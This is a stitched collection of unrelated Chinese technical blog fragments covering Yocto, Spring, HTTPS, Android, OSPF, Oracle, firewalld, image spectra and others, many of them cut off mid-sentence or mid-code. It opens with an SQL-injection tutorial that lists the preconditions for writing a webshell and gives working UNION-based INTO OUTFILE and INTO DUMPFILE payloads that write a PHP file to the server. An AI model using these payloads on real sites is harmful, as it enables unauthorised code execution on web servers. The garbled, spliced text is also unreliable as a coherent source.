SQL注入写shell权限 需要的条件 1. root权限 2. 知道网站的物理绝对路径 3. load_file() 开启 即 secure_file_priv 无限制 可以通过select @@secure_file_priv;查询 (1):如果为NULL,则不能写入 (2):如果为空,可以在任意文件位置下写入 (3):如果为一个路径,可以在该文件路径写入 4. 有写入权限 联合写入 ?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23 ?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23 非联合写入 ?id=1 into outfile '/var/lib/mysql-files/info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
本文针对的是yocto(linux)的编译与分析,分享一下自己学习的心得。
文章目录 一、yocto是什么?二、工作步骤1.OpenEmbedded工作流2.流程解读 三.编译问题1.不支持UTF-8 (如图所示)2.将warnings视为errors(如图所示)3.do_fetch失败(如图所示) 四.编译过程中tips1.限制线程的数量2.编译成功后rootfs.img的位置 五.Bitbake编译1.编译步骤 总结 一、yocto是什么? Yocto 项目是一个开源协作项目,可帮助开发人员创建基于 Linux 的定制系统,这些系统专为嵌入式产品而设计,无论产品的硬件架构如何。
分析一下目录结构,主要有三级构成:
meta-xxx->recipes-yyy->zzz/ttt.bb。
比如:meta-rockchip-> recipes-kernel->linux-firmware
Yocto中一个软件包是放在bb文件中的,然后很多的bb文件集成一个recipe(配方),然后许多的recipe又组成一个meta layer(层)。配方文件分为bb文件和bbappend文件。(bbappend和bb的区别主要在于bbappend是基于bb的,功能是对相应的bb文件作补充和覆盖,有点类似于“重写”的概念)。
在yocto目录下,放工具的bitbake目录、放元数据的目录、和执行构建的build目录这三个目录比较重要:
bitbake目录: bitbake工具。
元数据目录: 在poky中元数据目录是meta。在元数据目录中,有3个目录里是真正的元数据:classes、conf、packages。
build目录: build是我们烹饪嵌入式系统的大厨房。整个构建过程就是在build目录的tmp子目录完成的。 build目录的conf子目录里是用户的配置文件local.conf。
二、工作步骤 1.OpenEmbedded工作流 视频链接:https://youtu.be/-cXvE4VyyA8
2.流程解读 首先,开发人员指定架构、策略、补丁和配置细节。然后构建系统从指定的位置获取和下载源代码。该项目支持标准方法,例如 tarball 或源代码存储库系统,例如 git。下载后,源代码将被提取到本地工作区,在该工作区应用补丁并运行配置和编译软件的通用步骤。然后将软件安装到临时暂存区,您选择的二进制包格式(deb、rpm 或 ipk)将用于汇总软件。在整个构建过程中运行不同的 QA 和健全性检查。创建二进制文件后,会生成一个二进制包提要,然后用于创建最终的根文件映像。生成文件系统映像。 三.编译问题 1.不支持UTF-8 (如图所示) 解决方法:
locale-gen en_US.UTF-8 export LANG=en_US.UTF-8 LANGUAGE=en_US.en LC_ALL=en_US.UTF-8 2.将warnings视为errors(如图所示) 原因:如果加上 -Wextra 选项会告知编译器做更深度的检查报告, -Wextra 还有更多的检查,打印一些额外的警告信息。上面只是其中一个 -Wall 没包含但很有用的一个检查。
解决方法:
下载代码后,编译前;在…/yocto/meta-rockchip/recipes-multimedia/gstreamer-rockchip/文件夹下面:
新建files文件夹,并将上面的patch文件放入即可。
3.do_fetch失败(如图所示) 解决方法:
1.查看URL是否可以打开,若无法打开,首先验证网络是否正常
若链接可以打开,正常下载,则是网络波动问题。
2.若网络正常,URL无法打开,则是链接出错,选择其他有效链接
四.编译过程中tips 1.限制线程的数量 在…/yocto/build/conf/include/common.conf配置文件中增加:
BB_NUMBER_THREADS = ‘16’ PARALLEL_MAKE =’-j 16’ (第一行修改编译线程的数量,改为多线程)
1.beans.xml <?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:tx="http://www.springframework.org/schema/tx"
xmlns:aop="http://www.springframework.org/schema/aop" xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd
http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-4.0.xsd
http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-4.0.xsd
">
<!-- <bean id="dataSource" class="org.springframework.jdbc.datasource.DriverManagerDataSource">
<property name="driverClassName" value="com.mysql.jdbc.Driver"/>
<property name="url" value="jdbc:mysql://localhost:3306/affairs" />
<property name="username" value="root"/>
<property name="password" value="123456"/>
</bean>
-->
<bean id="student" class="testspring.bean.Student" >
<!-- collaborators and configuration for this bean go here -->
<property name = "clazz" value = "三年二班"></property>
</bean>
</beans>
2.pojo类Student /**
* */
package testspring.bean;
/**
* @author 无痕菌
HTTP协议–应用层
TCP / UDP–传输层
SSL / TLS—应用层和传输层之间(七层协议中的会话层)
https加密的实现? 1.混合加密---->保证信息的机密性—>解决了窃听的风险 采用对称和非对称加密混合的方式,在通信建立前采用非对称加密的方式交换「会话秘钥」,后续就不再使用非对称加密。
AB之间需要通信,那么在通信建立前先交换的公钥。之后如果A要发信息给B,那么就用B的公钥加密A要发送的信息,那么只有B的私钥可以打开并且拿到A的信息。如果B要发送信息给A,那么B用A的公钥加密要发送的信息,此时只有A的私钥可以打开这个加密的信息了。
对称加密和非对称加密?
对称加密:加密解密用同一个密钥,被黑客拦截不安全。常见的对称加密算法:DES,AES,3DES等等。
非对称加密:公钥加密,私钥解密;公钥可以公开给别人进行加密,私钥永远在自己手里,非常安全,黑客拦截也没用,因为私钥未公开。常见的非对称加密算法:RSA,ECC
对称加密算法相比非对称加密算法来说,加解密的效率要高得多。但是缺陷在于对于秘钥的管理上,以及在非安全信道中通讯时,密钥交换的安全性不能保障。所以在实际的网络环境中,会将两者混合使用.
2.摘要算法(哈希算法)—>实现完整性—>解决了篡改的风险 客户端对明文用摘要算法加密,并且把加密前后的「指纹 + 明文」都发送到服务端,服务端把加密前的明文用同样的信息摘要算法计算「指纹,如果和客户端发送过来的加密后「指纹」,说明了数据时完整的
常见摘要算法:MD5
3.数字证书—>保证服务器公钥的身份—>解决冒充的风险 借助第三方权威机构 CA (数字证书认证机构),将服务器公钥放在数字证书(由数字证书认证机构颁发)中
服务器将自己的公钥注册到CACA用自己的私钥将服务器的公钥数字签名并颁发数字证书客户端收到拿到数字证书后用CA的公钥确认服务器数字证书的真实性—>只要证书是可信的,公钥就是可信的
相机拍照、下载、存储照片等,在别的Android版本里都能用,为啥在Android12里用不了? 针对👆的问题,其实也不能这么说,比如你的targetSdkVersion小于30,Android12 也不会不能用。下面看看不能用时的处理方法:
清单文件中设置provider <provider android:name="androidx.core.content.FileProvider" android:authorities="${applicationId}.fileprovider" android:exported="false" android:grantUriPermissions="true"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths" /> </provider> 其中的xml,provider_paths为
<?xml version="1.0" encoding="utf-8"?> <paths> <external-path name="files_root" path="Android/data/${applicationId}/"/> <external-path name="DCIM" path="."/> </paths> 调用 //用于保存调用相机拍照后所生成的文件 tempFile = new File(Environment.getExternalStorageDirectory().getPath() + "/DCIM/", System.currentTimeMillis() + ".jpg"); //跳转到调用系统相机 Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE); //判断版本 if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { //如果在Android7.0以上,使用FileProvider获取Uri intent.setFlags(Intent.FLAG_GRANT_WRITE_URI_PERMISSION); Uri contentUri = FileProvider.getUriForFile(this, AppPFContants.getProviderName(), tempFile); intent.putExtra(MediaStore.EXTRA_OUTPUT, contentUri); Log.e("contentUri", contentUri.toString()); } else { //否则使用Uri.fromFile(file)方法获取Uri intent.putExtra(MediaStore.EXTRA_OUTPUT, Uri.fromFile(tempFile)); } 其实走到这一步,应该跟你代码里一样,如果你的依旧像我之前一样不能用,那么你需要注意下,你的Environment.getExternalStorageDirectory().getPath() + "
问题描述:
使用写Elsevier双栏论文的latex模板时,跨栏表格标题总是无法对齐表格最左端,尝试引入\usepackage{caption2}也不行,使用\captionsetup{singlelinecheck=false}也不行,表格后也htbp删除了还是不行.
解决方案:
添加表格宽度的描述:
参考链接:Elsevier 新版 LaTeX 模板使用样例说明 - LaTeX科技排版工作室
由于网络上的其它博文,没能解决我的这个问题,然后就记录一下。或许还有很多其它原因导致这个问题的发生,这里就简述一下我遇到的。其它的遇到了再补充吧。
1. pom依赖中tomcat引入的问题:
SpringBoot项目启动后 迅速 执行结束,控制台打印: No active profile set, falling back to default profiles: default,并执行结束:Process finished with exit code 0.(如下图)
经验证,系 pom 文件配置的 tomcat 发生错误导致,原配置tomcat如下:
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> <scope>provided</scope> </dependency> 修改后:(删去<scope>):
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-tomcat</artifactId> </dependency> 对于scope标签的用法,我就不细述了,可以参考这个博文。
2. pom依赖中并没有引入tomcat依赖,但是报了这个如下代码块1中的错误。在引入web依赖后报错解决。原因暂时未知
2019-07-30 19:20:33.673 INFO 88540 --- [ main] com.sell.product.ProductApplication : No active profile set, falling back to default profiles: default 2019-07-30 19:20:33.689 INFO 88540 --- [ main] s.c.a.AnnotationConfigApplicationContext : Refreshing org.springframework.context.annotation.AnnotationConfigApplicationContext@10f7f7de: startup date [Tue Jul 30 19:20:33 CST 2019]; parent: org.
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录 1.为什么要使用ConstraintLayout(约束布局)?2.ConstraintLayout(约束布局)简介3.ConstraintLayout(约束布局)优点4.ConstraintLayout(约束布局)的基本属性4.1控件内宽高比4.1.1app:layout_constraintDimensionRatio="h,?:?"4.1.2app:layout_constraintDimensionRatio="w,?:?" 4.2权重4.3链4.4.GuideLines辅助线的应用4.5自动添加约束4.6Group组 6.示例(微信界面)7.小结 1.为什么要使用ConstraintLayout(约束布局)? 1.ConstraintLayout还有一个优点,它可以有效地解决布局嵌套过多的问题。
2.实现的布局效果类似于相对布局但比相对布局性能更高。
性能比较结果表明:ConstraintLayout 在测量/布局阶段的性能比 RelativeLayout大约高 40%:
这些结果表明:
ConstraintLayout 很可能比传统布局的性能更出色。不仅如此,ConstraintLayout 还具备其他一些功能,能够帮助您构建复杂的高性能布局。
2.ConstraintLayout(约束布局)简介 约束布局ConstraintLayout 是一个ViewGroup,可以在Api9以上的Android系统使用它,它的出现主要是为了解决布局嵌套过多的问题,以灵活的方式定位和调整小部件。从 Android Studio 2.3 起,官方的模板默认使用 ConstraintLayout。
3.ConstraintLayout(约束布局)优点 在开发过程中经常能遇到一些复杂的UI,可能会出现布局嵌套过多的问题,嵌套得越多,设备绘制视图所需的时间和计算功耗也就越多,ConstraintLayout使用起来比RelativeLayout更灵活,可以按照比例约束控件位置和尺寸。
4.ConstraintLayout(约束布局)的基本属性 layout_constraintTop_toTopOf // 将所需视图的顶部与另一个视图的顶部对齐。 layout_constraintTop_toBottomOf // 将所需视图的顶部与另一个视图的底部对齐。 layout_constraintBottom_toTopOf // 将所需视图的底部与另一个视图的顶部对齐。 layout_constraintBottom_toBottomOf // 将所需视图的底部与另一个视图的底部对齐。 layout_constraintLeft_toTopOf // 将所需视图的左侧与另一个视图的顶部对齐。 layout_constraintLeft_toBottomOf // 将所需视图的左侧与另一个视图的底部对齐。 layout_constraintLeft_toLeftOf // 将所需视图的左边与另一个视图的左边对齐。 layout_constraintLeft_toRightOf // 将所需视图的左边与另一个视图的右边对齐。 layout_constraintRight_toTopOf // 将所需视图的右对齐到另一个视图的顶部。 layout_constraintRight_toBottomOf // 将所需视图的右对齐到另一个视图的底部。 layout_constraintRight_toLeftOf // 将所需视图的右边与另一个视图的左边对齐。 layout_constraintRight_toRightOf // 将所需视图的右边与另一个视图的右边对齐。 4.1控件内宽高比 在ConstraintLayout中,还可以将宽定义成高的一个比例或者高定义成宽的比率。首先,需要将宽或者高设置为0dp(即MATCH_CONSTRAINT),即要适应约束条件。然后通过layout_constraintDimensionRatio属性设置一个比率即可。这个比率可以是一个浮点数,表示宽度和高度之间的比率;也可以是“宽度:高度”形式的比率。比如:
<?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="
OSPF的概述 OSPF(开放式最短路径优先),是我们常见的动态路由之一,也是应用比较广泛的一种路由协议。
OSPF区域 OSPF分为骨干区域和非骨干区域 (area 0 为骨干区域 ,area 1 2 3 为非骨干区域)
骨干区域(区域0):骨干区域必须连接所有的非骨干区域,而且骨干区域不可分割,有且只有一个,一般情况下,骨干区域内没有终端用户。
非骨干区域(非0区域):非骨干区域一般根据实际情况而划分,必须连接到骨干区域(不规则区域也需通过tunnel或virtual-link连接到骨干区域)。一般情况下,非骨干区域主要连接终端用户和资源。
注:处于两个区域的路由设备我们称作:边界路由器 ABR
ABR是位于一个或多个OSPF区域边界上,将这些区域连接到主干网络的路由器。
OSPF是一种基于链路状态的路由协议,链路状态时通过LSA来进行通告给网络中的其他路由器
OSPF 协议中规定在运行OSPF 的网络中必须有区域0吗? 对于是否有区域0要看你的网络是多区域还是单区域了!
多区域时所有区域必须和区域0相连。所以区域0是必不可少的!
单区域时可以随意规划area0、area10、area11都可以,因为只有一个区域!
OSPF中消息中的报文分为: 1、Hello报文:路由器和路由器打招呼用的
2、DD报文:数据库描述,告诉对方当前设备存在哪一些链路信息
3、LSR报文:告诉网络中的设备,缺哪一些信息找我要
4、LSU报文:缺哪一些信息 我给你
5、LSAck报文:我已收到你给我的链路信息
Router-ID :是ospf网络中用于区分路由器的唯一标识,router-id遵循如下规则: 1、如果有手动配置,那么就优先使用手动配置的
2、如果1不满足,且配置有配置逻辑接口(回环口),那么就会默认使用该路由器上的逻辑口来作为router ID ,如果存在多个,那么根据数值最大的来作为router id
3、如果1 和 2 都不满足,那么路由器会选择所有活动的物理接口来作为router id 不论是否参加了ospf网络运算,一样安装数值最大的来作为router id
OSPF网络中的关系: 邻居关系: 1、在ospf协议中,每台路由器都会周期性的向外发送hello报文,如果相邻路由器发送给对方的hello报文完全一致,那么两台路由器就会彼此建立邻居路由关系 这就叫做邻居关系
邻接关系: LSDB (链路状态数据库) :存放了各自路由表中的路由信息
1、在点对点或者P2MP二层网络类型中,两台互为邻居关系的路由器一定会同步彼此的LSDB (链路状态数据库),如果两台同步成功后,就会建立了邻接关系
只有两个相邻的路由器才能够形成邻居关系
不相邻的两个路由器建立的关系叫做邻接关系
DR :指定路由器
BDR : 备份指定路由器
以上两种只适用与广播网络或非广播多路访问网络
DR 和 BDR 的选举规则 : 由于在一个广播网络和NBNA 网络中,通过向网络中发送Hello 报文 报文中包含了 每一个路由器的router-ID 和优先级 ,路由器的优先级的取值范围是从0 - 255 取值越小优先级越高
Navicat连接Oracle 1、安装Oracle 参考:https://blog.csdn.net/zsd0819qwq/article/details/100712472
2、安装Navicat 略
3、Navicat连接Oracle 3.1 安装oracle对应版本的instant-client http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html,下载与Oracle软件对应的客户端版本,并解压到指定路径。
3.2 Navicat中配置oci.dll 修改填写:Navicat中工具>选项>环境中的OCI环境
3.3 开始连接 连接
用户名:system 密码:安装oracle过程中自定的口令
4、CMD登录oracle 普通登录oracle
>sqlplus 请输入用户名:system 输入口令:123456 # 登陆成功后输入 conn /as sysdba 以dba用户的身份连接数据库 sql>conn /as sysdba 切换实例
如果在一台计算机创建了多个数据库实例,为了登录到正确的数据库,在进入SQLPLUS之前,先要设置环境变量ORACLE_SID,将它的值设为你所想要登录的数据库实例的SID,一般和数据库实例同名。
# cmd执行 c:\User\xxx>set ORACLE_SID=xe 用户创建,授权和删除
登录到system以创建其他用户
#打开cmd执行 >sqlplus /nolog # 连接 SQL> connect / as sysdba
2. 创建用户以及设置密码: create user username identified by password;
如:
create user lebron identified by 123456;
3. 修改用户: alter user lebron identified by 234567;
第三章 数据链路层 3.1 数据链路层概述3.1.1 本章问题封装成帧差错检测可靠传输广播信道的数据链路层网桥和交换机的工作原理 3.2 封装成帧封装成帧透明传输面向字节的物理链路面向比特的物理链路 3.3 差错检测奇偶校验循环冗余校验CRC总结 3.4 可靠传输基本概念实现机制停止—等待协议SW回退N帧协议GBN选择重传协议SR 3.5 点对点协议PPP 3.1 数据链路层概述 在研究数据链路层时,我们可以只考虑数据链路层(不考虑网络体系结构的其他各层),换句话说,我们可以想象数据包只在数据链路层从左向右沿水平方向传送。所以主机H1到主机H2的通信,可以看成是在4段不同的链路上的通信组成的。
3.1.1 本章问题 需要注意的是,下面三个问题指的是点对点信道的数据链路层。
封装成帧 如图所示,两台主机通过一段链路互连。两台主机都会对所发送或接收的数据包进行五个层次的封装或解封。 发送方将待发送的数据通过应用层封装成为应用层协议数据单元,然后交付给运输层。
运输层为其添加运输层协议首部,使之成为运输层协议数据单元,然后交付给网络层。
网络层为其添加网络层协议首部,使之成为网络层协议数据单元,然后交付给数据链路层。
数据链路层给网络层协议数据单元添加一个数据链路层协议首部,简称为帧头,还要给其添加一个帧尾。我们将数据链路层给网络层交付的协议数据单元添加帧头和帧尾的操作,称为封装成帧。
添加帧头和帧尾的目的都是为了在链路上以帧为单元来传送数据,也就是为了实现数据链路层本身的功能。 如下例子:
差错检测 发送方将封装好的帧通过物理层发送到传输媒体,帧在传输过程中遭遇干扰后可能会出现误码(比如:比特0变为比特1)。
接收方通过检错码发现误码: 发送方在发送帧之前,基于待发送的数据和检错算法计算出检错码,并将其封装在帧尾。接收方主机接收到帧后,通过检错码和检错算法就可以判断出帧在传输过程中是否出现了误码。
例如,以太网版本2的MAC帧的帧尾,就是4字节的帧验序列FCS字段,要写入该字段的内容就是检错码。
可靠传输 接收方主机收到有误码的帧后,是不会接受该帧的,将其丢弃。 如果数据链路层向其上层提供的是不可靠服务,那么丢弃就丢弃了,不会采取其他措施。如果数据链路层向上层提供的是可靠服务,那么就还需要其他措施,来确保接收方主机还可以重新收到被丢弃的这个帧的正确副本。 尽管误码是不能完全避免的,但若能实现发送方发送什么,接收方就能收到什么,就称为可靠传输。 广播信道的数据链路层 对于广播信道的数据链路层(共享式局域网)除了包含这三个问题外,还有一些需要解决的问题。例如对下面的例子,问题如何解决? 主机怎么知道那些帧是发给自己的,即总线上的数据是否接收。——编址解决:将帧的目的地址添加到帧中一起传输。
当总线上多台主机同时使用总线来传输帧时,传输信号就会产生碰撞,这是采用广播信道的共享式局域网不可避免的。——以太网的解决方法是使用一种特殊的协议CSMA/CD(载波监听多点接入/碰撞检测)。
网桥和交换机的工作原理 随着技术的发展,交换技术的成熟和成本的降低,具有更高性能的、使用点对点链路和链路层交换机的交换式局域网在有线(局域网)领域已完全取代了共享式局域网。但是,网络中的交换机是如何转发帧的呢?
注意: 无线局域网任然使用的是共享信道技术。例如,802.11局域网采用的媒体接入控制协议是CSMA/CA(载波监听多点接入/碰撞避免)。
3.2 封装成帧 封装成帧 封装成帧是指数据链路层给上层交付的协议数据单元添加帧头和帧尾使之成为帧。 帧头和帧尾中包含有重要的控制信息
帧头和帧尾的作用之一就是帧定界。
例如,PPP帧的帧头和帧尾中各包含有一个长度为1字节的标志字段,其作用就是帧定界。假设下面发送的是PPP帧,比特流中的红色部分是帧定界标志。那么接收方的数据链路层就可以依据帧定界标志从物理层交付的比特流中提取出一个个的帧。
需要说明的是,并不是每一种数据链路层协议的帧都包含有帧定界标志,以太网版本2的MAC帧就没有。这是需要物理层在帧前加前导码,再将比特流转化成电信号进行发送,前导码中的前七个字节为前同步码,作用是使接收方的时钟同步。之后的一字节为帧开始定界符。且以太网还规定了帧间间隔时间为96比特的发送时间,所以MAC帧并不需要帧结束定界符。
2. 为了提高帧的传输效率,应当使帧的数据部分的长度尽可能大些。
3. 考虑到差错控制等多种因素,每一种数据链路层协议都规定了帧地数据部分的长度上限,即最大传送单元MTU。
透明传输 透明传输是指数据链路层对上层交付的传输数据没有任何限制,就好像数据链路层不存在一样。
如果上层交付的数据单元中包含了帧定界符(特定数值),接收方就不能正确接收该帧。
如果数据链路层不采取其他措施,来避免接收方对帧是否结束的误判,就不能称为透明传输。也就是说,数据链路层对上层交付的协议数据单元优限制,其内容不能包含帧定界符。 面向字节的物理链路 解决方法:使用 字节填充(或称字符填充) 的方法来实现透明传输。在发送帧之前,对帧的数据部分进行扫描,每出现一个帧定界符,就在其前面插入一个转义字符。接收方在接收到转义字符时,剔除转义字符后将其后面的内容作为数据继续提取。
注意: 转义字符是一种特殊的控制字符,其长度为一个字节,十进制值为27。 面向比特的物理链路 解决方法:使用比特填充的方法实现透明传输在发送前,可以采用零比特填充法,对数据部分进行扫描。每五个连续的比特1后面就插入1个比特0,这样就确保了帧定界在整个帧中的唯一性,从而实现透明传输。
3.3 差错检测 奇偶校验 奇偶校验的漏检率很高,因此计算机网络的数据链路层一般不会采用这种检测方法。
Mac 打开 csv.gz文件 打开方式 推荐使用软件 The Unarchiver 解压缩就好,Mac自带的是不能解压缩的
其他 想用这样的数据集并不一定要解压缩,用numpy可以直接打开,语法是np.loadtxt(),大致用法如下:
# delimiter 是分隔符,dtype是指定数据类型 np.loadtxt(‘这里输入文件名’, delimiter=',', dtype=np.float32) 具体用法看文档吧文档链接。
【洛谷 P3957】【NOIP 2017 普及组】【单调队列】跳房子 题目 解题思路 呜呜呜,推了好久,还是错的,研究了题解才会
先特判是否可以到达这个分数 虽然没有这个点。。。
分析一下题目发现,能走的距离范围为max(d-g,1)~d+g
如果用ans个金币可以满足,那么>ans个金币肯定也可以
想到用二分节约时间
单调队列维护能走的区间中获得的分数最大值
先找是否需要至少max(d-g,1)步,然后踢出在堆尾且贡献小的,加入当前位
接着踢出需要d+g步以上到达的,不符合范围,踢出
更新获得的分数
代码 #include<iostream> #include<cstring> #include<cstdio> using namespace std; struct lzf{ int x,q; }a[500010]; long long n,d,k,l,r,da,h,t,dis[500010],q[500010]; bool check(long long mid) { long long m=d+mid,g=max(d-mid,1ll); h=1,t=0; int i=0; memset(dis,0,sizeof(dis)); for (int j=1;j<=n;j++) { while (a[i].x+g<=a[j].x) //至少g步 { while (h<=t&&dis[q[t]]<dis[i]) t--; //前面的没有贡献了 q[++t]=i++; } while (h<=t&&a[q[h]].x+m<a[j].x) h++; //超过步数限制 if (h<=t) dis[j]=dis[q[h]]+a[j].q; else dis[j]=-1e18; if (dis[j]>=k) return 1; } return 0; } int main() { scanf("
在Oracle中数据锁(这里主要指TX类型行锁)实际上是数据的属性,存储在块首部,称之为事务槽(ITL)。
COMMIT操作的职责包括释放块上的锁,实际的释放方式即清除块上相应的事务槽,但这里存在一个性能的考量:
设想一个UPDATE大量数据的操作,因为执行时间较长,一部分已修改的块已被缓冲池flush out写至磁盘,当UPDATE操作完成执行COMMIT操作时,则需要将那些已写至磁盘的数据块重新读入,这将消耗大量I/O,并使COMMIT操作十分缓慢。
下面说说我关于上面那句话的理解:
假设有100个块在进行update,但是还没有进行commit操作,由于buffer cache快被占满了,就先将前20个块从缓冲池写到了磁盘(对应一部分已修改的块已被缓冲池flush out写至磁盘),此时这20个块的记录的状态信息是不对的还是未commit,因此在真正commit期间,还需要将这些状态信息不对的块重新读入到buffer cache里进行状态信息的修改(对应需要将那些已写至磁盘的数据块重新读入),因此会造成许多无用的I/O,而且使得commit缓慢。
因此伟大的Oracle在这里引入了延迟段清理的概念(文档号40689.1)。
它留给访问受更新影响的任何块的下一个事务(select、update、delete、insert都可以)来“整理”该块,也就是修改块的状态信息(因此称为“延迟块清理”)。
对待存在以下情况的块COMMIT操作不做块清除(而是转为延迟清除):
1、在更新过程中,被缓冲池flush out写至磁盘的块 若更新操作涉及的块超过了块缓冲区缓存的10%时,超出的部分块
2、被其他事务被顺带着从buffer刷到了磁盘上的块(buffer cache是一个整体,不会看你是哪个事务来分开来去刷到磁盘上)
虽然COMMIT放弃对这些块的块清除(block cleanout)操作,但COMMIT操作仍会修改回滚段的段头,回滚段的段头包括了段中的事务的字典,COMMIT操作将本事务转化为非ACTIVE状态。当下一次操作(事务)如SELECT,UPDATE,INSERT或DELETE访问到这些块时可能需要在读入后完成块清除,这样的操作称之为块延迟清除(deferred block cleanout)。
块延迟清除通过事务槽上的回滚段号,槽号等信息访问回滚段头的事务字典,若事务不再活跃或事务过期则完成清除块上的事务槽,事务槽清除后继续执行相应的操作。
总结来说块延迟清除是COMMIT操作的一个延续,始终是一种十分轻微的操作,且该种操作是行级的,不会使段(Segment)的属性有所改变。
块延迟清除的影响在SELECT操作过程中体现的最为明显。在select时若发生了延迟块清除,就会去修改块的状态信息,因此会产生redo。
win+r 打开运行
输入gpedit.msc 打开组策略
依次选择
右键空白处选择创建IP安全策略
点击下一步
输入名称,点击下一步
不需要勾选 激活默认响应规则(仅限于Windows的早期版本),点击下一步
默认选择编辑属性,点击完成
弹出的窗口取消选择“使用添加向导” ,点击添加
弹出的窗口取消选择“使用添加向导” ,点击添加(名称可自拟)
源地址选择“任何IP地址”,目的地址选择“我的IP地址”,取消勾选镜像。点击上方协议。
协议选择TCP,从任意端口到此端口63389(远程端口是多少就写多少),点击确认。
在此处再次点击确定
在新规则 属性窗口点击筛选器操作,取消勾选“使用添加向导”,点击添加
安全方法选择阻止,点击确定
勾选新筛选器操作,点击应用
切换到IP筛选器列表标签页,勾选新建的筛选器列表,单击 确定。
下面是放通部分IP的过程 点击右键-属性
点击添加
源地址选择“一个特定的IP地址或子网“IP地址处填入公网地址或者地址段,目标地址选择“我的IP地址”取消勾选“镜像",然后点击上方的"协议"。
协议选择TCP,从任意端口,到此端口(填入远程端口),点击确定
在新规则属性处点击添加
勾选"许可",点击应用
点击"IP筛选器列表",勾选新建的IP筛选,点击"应用",确定
点击右键-分配,随后策略已指派栏变为是。
一、概念 1、动态防火墙
启动新规则时,不会像ipatbles一样,先清空规则,再启动所有规则,如此会对现在程序有影响,哪怕只是一条规则。而firewalld 规则变更不需要对整个防火墙规则重载,可直接添加新规则
2、iptables与firewalld的关系
firewalld底层使用iptables作为防火墙规则管理入口。
firewalld内核模块还是netfilter,只是firewalld修改了daemon和service
添加规则还是通过iptables管理的,可以通过iptables查看规则 firewalld没有链的概念
3、firewalld 配置
储存在/usr/lib/fierwalld/和/etc/firewalld/目录中的XML文件中
/usr/lib/fierwalld/services/ 模块目录,里面有每个服务对应的模板,配置默认端口
/etc/firewalld/ 配置目录
4、firewalld区域
firewalld将网卡对应到不同的区域(zone),zone默认共有9个:block,dmz,drop,external,home,internal,public,trusted,work.
区域相当于iptables的表 drop区域:配置的规则为丢弃的规则
public区域:公共规则
二、开放端口 1、配置文件添加
[root@localhost ~]# vim /etc/firewalld/zones/public.xml
[root@localhost ~]# vim /etc/firewalld/zones/public.xml <?xml version="1.0" encoding="utf-8"?> <zone> <short>Public</short> <description>For use in public areas. You do not trust the other computers on networks to not harm your computer. Only selected incoming connections are accepted.</d escription> <service name="ssh"/> <service name="dhcpv6-client"/> <port protocol="tcp" port="80"/> <port protocol="
傅里叶变换过程:
经过傅里叶变化且频谱居中化处理的频谱图:
1.如果将图像某一行上的灰度变化看作是一个离散信号,那么整张图像可以看作是一个分布在二维平面上的信号,因此图像可看作是空间域信号。傅里叶变换则是将图像灰度分布(空间域信号)变换到了频域上,给我们提供了观察图像的另一个视角。
2.图像的频谱图(频谱居中后)的中心点是频率最低点,以该点为圆心,不同半径的上的点表示不同的频率。这里的图像频率是指对应原图像中的某灰度曲线变化的快慢(这么说不严谨,但是按照上面第1点的角度,似乎也可以这么理解)。
3.图像频谱图上的高频部分表示原图像上灰度发生急剧变化的区域,意味着该区域可能出现了边缘、轮廓、细节或噪声信息;低频部分则表示原图像上灰度基本不变或变化很小的区域,代表图片除了边缘、轮廓、细节或噪声等高频部分的剩余大片图像区域。(设想一下,如果你在白色的背景上用黑色的笔画人物肖像,那你画出来的人的黑色轮廓与白色背景间灰度(亮度)对比肯定是很大的,因而灰度变化就越剧烈,所以图像高频部分代表轮廓信息;但是当你给物品上色时,红色的衣服里大片的红色是几乎没有灰度变化的,因而低频部分代表图像大片灰度均匀的区域)
4.图像频谱图上某点的亮暗则表示该频率下对应的灰度变化曲线的幅值(灰度峰值)的大小,如果原图像各点的灰度值为0,那么其对应的频谱图则没有亮点。
例如,一张全黑的图像(灰度峰值为0)其对应的频谱图也是全黑
反之如果原图像灰度值有不为0的点,且灰度值均匀变化,则表现在频谱图上则是一个带有中心亮点的频谱图。例如, 一张灰色的图片对应频谱图如下
在黑色背景下画一条白线,在垂直白线的方向上会出现灰度变化,且灰度峰值不为0,对应的频谱图如下:
若频谱图中亮点越多,说明原图像中灰度变化的区域越多,图像越"复杂"(尖锐);若频谱图中亮点越少,且越集中,说明原图像中灰度变化的区域较少,图像越"简单"(柔和)。
以上图片来源: 图像的二维傅里叶变换频谱图特点研究 - xh6300 - 博客园
总结: 频谱图上的点和原图像上的点并不是一一对应的关系,频谱图上的每个点都代表了原图像的全局信息,频谱图上的点反映的是原图像中具有该灰度变化快慢规律的图像区域(可能不止一个)及其灰度峰值(亮暗)信息。
参考:
图像的二维傅里叶变换频谱图特点研究 - xh6300 - 博客园
图像处理2:二维图像的频谱图理解_小娜美要努力努力的博客-CSDN博客_二维频谱图
图像中的高频分量和低频分量_斩月_新浪博客图像频率的理解_dzh_漫漫修行路_新浪博客图像中的高频分量和低频分量_斩月_新浪博客
图像的频率_dengheCSDN的博客-CSDN博客_图像频率
理解图像中的低频分量和高频分量_Chaolei3的博客-CSDN博客_高频分量
写了一个响应消息工具类,但是类中没写set,get方法,会导致这个报错
例1、产生100到1的等差数列,数据点为20个,赋值给x。获取x的第10个单元的值,赋值给x1;获取x的前10个单元的值,赋值给x2;获取x的后5个单元的数据,赋值给x3;将x的偶数单元中的数据赋值给x4;将x的数据倒排序赋值给x5。
